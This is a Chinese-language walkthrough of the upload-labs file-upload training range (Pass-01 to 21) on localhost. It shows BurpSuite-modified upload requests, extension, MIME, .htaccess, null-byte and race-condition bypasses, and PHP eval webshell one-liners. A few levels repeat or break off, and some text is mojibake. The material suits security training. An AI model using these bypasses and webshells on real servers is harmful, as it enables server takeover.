Pass-01(前端验证)
通过BurpSuite在上传时进行抓包,将phpinfo.php后缀改为png,抓包后:
------WebKitFormBoundarylmVwhqWRbWuqHQfO
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png"
Content-Type: image/png
<?php phpinfo(); ?>
------WebKitFormBoundarylmVwhqWRbWuqHQfO
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundarylmVwhqWRbWuqHQfO--
修改加粗内容中:filename="phpinfo.php",修改后上传
输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功查看到该页面phpinfo信息
Pass-02(MIME验证)
通过BurpSuite在上传时进行抓包,将phpinfo.php后缀改为png,抓包后:
------WebKitFormBoundarylmVwhqWRbWuqHQfO
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png"
Content-Type: image/png
<?php phpinfo(); ?>
------WebKitFormBoundarylmVwhqWRbWuqHQfO
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundarylmVwhqWRbWuqHQfO--
修改加粗内容中:filename="phpinfo.php",修改后上传
输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功查看到该页面phpinfo信息
Pass-03(黑名单验证,特色后缀)
上传phpinfo.php文件,在上传时利用BurpSuite进行抓包,将抓到的包转到Repeater中,查看包内容:
------WebKitFormBoundaryf4bvbUsESk2PFkPw
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryf4bvbUsESk2PFkPw Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundaryf4bvbUsESk2PFkPw--
修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php2",修改后点击Send按钮上传,查看上传后Response中的Pretty模块,找到上传区的图片:img src="../upload/202111102020075547.php2"
输入网址:http://127.0.0.1/upload-labs//upload/202111102020075547.php2,成功看到该网页的phpinfo.php文件
Pass-04(黑名单验证,.htaccess绕过)
上传一个.htaccess文件,在上传时利用BurpSuite进行抓包:
------WebKitFormBoundaryaZpC53cOApBRUN8a
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: application/octet-stream
AddType application/x-httpd-php .png
------WebKitFormBoundaryaZpC53cOApBRUN8a
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundaryaZpC53cOApBRUN8a--
修改加粗内容为:Content-Type:image/png,上传成功后,将phpinfo.php文件后缀改为png上传
输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.png,成功查看到该页面phpinfo信息
Pass-05(黑名单验证,.user.ini绕过)
创建一个users.ini文件,文件内容为:auto_prepend_file=shell.png,创建后上传users.ini文件,上传后,写一句话木马:<?php @eval($_POST['x']);?>,将一句话木马文件命名为shell.php,更改该文件后缀为png,在该页面上传,上传后,通过中国菜刀成功执行该脚本
Pass-06(黑名单验证,大小写绕过)
上传phpinfo.php文件,在上传的过程中进行抓包,抓包后将包放在Repeater中:
------WebKitFormBoundaryhdhbQZE7CBtlXTNx
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryhdhbQZE7CBtlXTNx
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundaryhdhbQZE7CBtlXTNx--
修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.Php",修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址
输入网址:http://127.0.0.1/upload-labs/upload/202111102043153825.Php,成功获取该页面的phpinfo信息
Pass-07(黑名单验证,空格绕过)
上传phpinfo.php文件,在上传的过程中进行抓包,抓包后将包放在Repeater中:
------WebKitFormBoundarySof7Oys2QAFcAapt
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundarySof7Oys2QAFcAapt
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundarySof7Oys2QAFcAapt--
修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php "(在php后面加上空格),修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址
输入网址:http://127.0.0.1/upload-labs/upload/202111102048375314.php,成功获取到该网页的phpinfo信息
Pass-08(黑名单验证,点号绕过)
上传phpinfo.php文件,在上传时通过BurpSuite进行抓包:
------WebKitFormBoundary5Unc6BD9Q4gn4daD
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundary5Unc6BD9Q4gn4daD
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundary5Unc6BD9Q4gn4daD--
修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php."(后面加一个.符号),成功上传后
输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页的phpinfo信息
Pass-09(黑名单验证,特殊字符::$DATA绕过)
上传phpinfo.php文件,在上传时通过BurpSuite进行抓包,将包放至Repeater中:
------WebKitFormBoundaryZCABfitwbglmYZha
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryZCABfitwbglmYZha
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundaryZCABfitwbglmYZha--
修改加粗内容为:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php::$DATA",修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址
输入网址:http://127.0.0.1/upload-labs/upload/202111102105253772.php,成功获取到该网页的phpinfo信息
Pass-10(黑名单验证,点号加空格加点号绕过)
上传phpinfo.php文件,在上传时通过BurpSuite进行抓包,将包放至Repeater中:
------WebKitFormBoundary7bJn8kECT3ghfdZu
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundary7bJn8kECT3ghfdZu
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundary7bJn8kECT3ghfdZu--
修改加粗内容:Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php. ."(在php后面加上一个点,然后空格,然后再加一个点),修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址
输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php. (php最后面有一个点),成功获取到该网页的phpinfo信息
Pass-11(黑名单验证,堆叠绕过)
上传phpinfo.php文件,在上传时通过BurpSuite进行抓包,将包放至Repeater中:
上传phpinfo.php包,发现php被屏蔽,只上传了info文件,尝试对php进行堆叠,最后发现pphphpinfo.pphphp可以完整上传为phpinfo.php文件,上pphphpinfo.pphphp文件
输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取该网页的phpinfo信息
Pass-12(Get00截断)
从源码中判断为%00截断,截断条件为:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态,需将phpStudy的php版本调到5.3.4,php.ini文件的magic_quotes_gpc设置为off状态
通过BurpSuite对上传文件进行抓包,将包传至Repater中:
POST /upload-labs/Pass-12/index.php?save_path=../upload/ HTTP/1.1
对头部文件进行修改:
POST /upload-labs/Pass-12/index.php?save_path=../upload/phpinfo.php%00 HTTP/1.1
对上传文件部分进行修改:
------WebKitFormBoundarydbNkqjNBBkjFZ8ae
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundarydbNkqjNBBkjFZ8ae
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundarydbNkqjNBBkjFZ8ae--
修改加粗内容为:
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png",修改后上传文件,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址
输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页的phpinfo信息
Pass-13(POST00截断)
从源码中判断为%00截断,截断条件为:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态,需将phpStudy的php版本调到5.3.4,php.ini文件的magic_quotes_gpc设置为off状态
通过BurpSuite在上传文件时进行抓包,将包传至Repeater中:
------WebKitFormBoundaryqhizPdQBQFrlwkxq
Content-Disposition: form-data; name="save_path"
../upload/
------WebKitFormBoundaryqhizPdQBQFrlwkxq
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryqhizPdQBQFrlwkxq
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundaryqhizPdQBQFrlwkxq--
在Raw中修改加粗内容为:
../upload/phpinfo.php+(后面+号方便后面改上传数据的Hex值)
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.png"
修改Hex中的内容:
找到../upload/phpinfo.php+所对应的Hex值:2e 2e 2f 75 70 6c 6f 61 64 2f 70 68 70 69 6e 66 6f 2e 70 68 70 2b 0d
找到+所对应的2b值,修改为00,修改后上传,上传后找到该页面的上传区网页源码,在源码找到上传的图片地址
输入地址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页的phpinfo信息
Pass-14(图片马加文件包含漏洞)
利用cmd写一个图片马:
cd 图片和脚本文件位置
copy phpinfo.php+shell.jpg phpinfo.jpg
创建完成后上传该图片马,上传成功后点击文件包含漏洞,进入网址:http://127.0.0.1/upload-labs/include.php
输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/9320211111170155.jpeg,成功获取到该网页的phpinfo信息
Pass-15(图片马加文件包含漏洞)
利用cmd写一个图片马:
cd 图片和脚本文件位置
copy phpinfo.php+shell.jpg phpinfo.jpg
创建完成后上传该图片马,上传成功后点击文件包含漏洞,进入网址:http://127.0.0.1/upload-labs/include.php
输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/2620211111170715.jpeg,成功获取到该网页的phpinfo信息
Pass-16(exif_imagetype图片马)
在phpStudy中把php_exif开启,或者在php.ini将php_exif开启
利用cmd写一个图片马:
cd 图片和脚本文件位置
copy phpinfo.php+shell.jpg phpinfo.jpg
创建完成后上传该图片马,上传成功后点击文件包含漏洞,进入网址:http://127.0.0.1/upload-labs/include.php
输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/9620211111174735.jpg,成功获取到该网页的phpinfo信息
Pass-17(二次渲染绕过)
通过源码来判断该网页使用二次渲染,查询资料得上传gif文件比较容易
通过上传一个gif文件,在上传的时候利用BurpSuite进行抓包,将包放进Repeater中,点击Hex模块,将<?php phpinfo(); ?>添加到 shell.gif的尾部
成功上传含有phpinfo脚本但是无法获得网页的phpinfo信息,将上传的图片下载到本地,可以通往文件名判断,下载下来的图片是经过二次渲染的图片,将两张gif文件分别用16进制编辑器打开,发现gif末端的php代码已经被去除
关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了
对比两张gif文件的16进制,发现有一段部分的代码未改变,将php代码写在这一段为改变的位置上
phpinfo16进制代码:
3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 3F 3E
将修改后的文件上传,下载下来发现php代码并没有被去除
访问网址:http://127.0.0.1/upload-labs/
Pass-18(条件竞争)
通过提示得知需要进行代码审计,从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件
这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了
虽然上传php木马会被删除,但是如果在上传过程中,在PHP木马被删除前被访问,就能实现文件上传漏洞
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell
,会有一瞬间的访问成功
写一句话木马,将其命名为:fp.php,代码为:
<?php fputs(fopen('fpt.php','w'),'<?php @eval($_POST["x"])?>')?>
上传该段代码,在上传过程中将其拦截(后续保持拦截状态),将该段拦截的包放在Intruder中
点击Positions模块,点击Clear$
再点击Payloads模块,设置:
Payload Sets
Payload set : 1
Payload type : Null payloads
Payload Options[Null payload]设置为Continue indefinitely
再点击Options模块,设置:
Request Engine
Number of threads : 20
Number of retries on network failure : 3
Pause before retry (milliseconds) : 2000
最后写一个python脚本:
import requests
url = "http://127.0.0.1/upload-labs/upload/fp.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
在BurpSuite中的Intruder,点击Start Attack进行攻击,在攻击过程中运行python脚本
当python脚本运行成功后,显示OK后,利用中国菜刀连接
输入网址:http://127.0.0.1/upload-labs/upload/fp.php 密码为:x
成功连接到该网页的服务器
Pass-19(条件竞争)
通过提示可以知道该题需要进行代码审计,从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它,要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等
这里还是将前一关的代码插入图片作出图片马,然后通过文件包含去访问该图片马
制作一个phpinfo文件,再找一个图片文件
利用cmd写一个图片马:
cd 图片和脚本文件位置
copy phpinfo.php+shell.jpg phpinfo.jpg
上传图片马,再上传过程中利用BurpSuite进行拦截(后续保持拦截状态),将拦截的包放在Intruder中
上传该段代码,在上传过程中将其拦截(后续保持拦截状态),将该段拦截的包放在Intruder中
点击Positions模块,点击Clear$
再点击Payloads模块,设置:
Payload Sets
Payload set : 1
Payload type : Null payloads
Payload Options[Null payload]设置为Continue indefinitely
再点击Options模块,设置:
Request Engine
Number of threads : 20
Number of retries on network failure : 3
Pause before retry (milliseconds) : 2000
最后写一个python脚本:
import requests
url = "http://127.0.0.1/upload-labs/include.php?file=upload/phpinfo.jpg"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('OK')
break
在BurpSuite中的Intruder,点击Start Attack进行攻击,在攻击过程中运行python脚本
当python脚本运行成功后,显示OK后
输入网址:http://127.0.0.1/upload-labs/include.php?file=upload/phpinfo.jpg,成功获取到该页面的phpinfo信息
Pass-20
在该网页上上传phpinfo.php文件,保存名称输入phpinfo.php文件,点击上传
在上传过程中,利用BurpSuite进行抓包:
------WebKitFormBoundaryppiwFeroDrKhOXWT
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryppiwFeroDrKhOXWT
Content-Disposition: form-data; name="save_name"
phpinfo.php
------WebKitFormBoundaryppiwFeroDrKhOXWT
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundaryppiwFeroDrKhOXWT--
修改加粗内容为:phpinfo.php.(后面加点号)
上传成功后,输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到该网页phpinfo信息
Pass-21
通过提示审计代码:
这一关白名单 验证过程: --> 验证上传路径是否存在 --> 验证['upload_file']的content-type是否合法(可以抓包修改) --> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断) -->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组 --> 判断数组最后一个元素是否合法 --> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name --> 上传文件
补充知识: explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。 end(array)函数,输出数组中的当前元素和最后一个元素的值。 reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值 count(array)函数,计算数组中的单元数目,或对象中的属性个数
上传一个phpinfo.php文件,保存文件名称为phpinfo.php,在上传过程中进行抓包:
------WebKitFormBoundaryR85HPrW1ifCGE9eA
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryR85HPrW1ifCGE9eA
Content-Disposition: form-data; name="save_name"
phpinfo.php
------WebKitFormBoundaryR85HPrW1ifCGE9eA
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundaryR85HPrW1ifCGE9eA--
修改加粗内容为:
------WebKitFormBoundaryR85HPrW1ifCGE9eA
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: image/png
<?php phpinfo(); ?>
------WebKitFormBoundaryR85HPrW1ifCGE9eA
Content-Disposition: form-data; name="save_name[0]"
phpinfo.php
------WebKitFormBoundaryR85HPrW1ifCGE9eA
Content-Disposition: form-data; name="save_name[2]"
png
------WebKitFormBoundaryR85HPrW1ifCGE9eA
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundaryR85HPrW1ifCGE9eA--
修改后上传,上传成功后,输入网址:http://127.0.0.1/upload-labs/upload/phpinfo.php,成功获取到phpinfo信息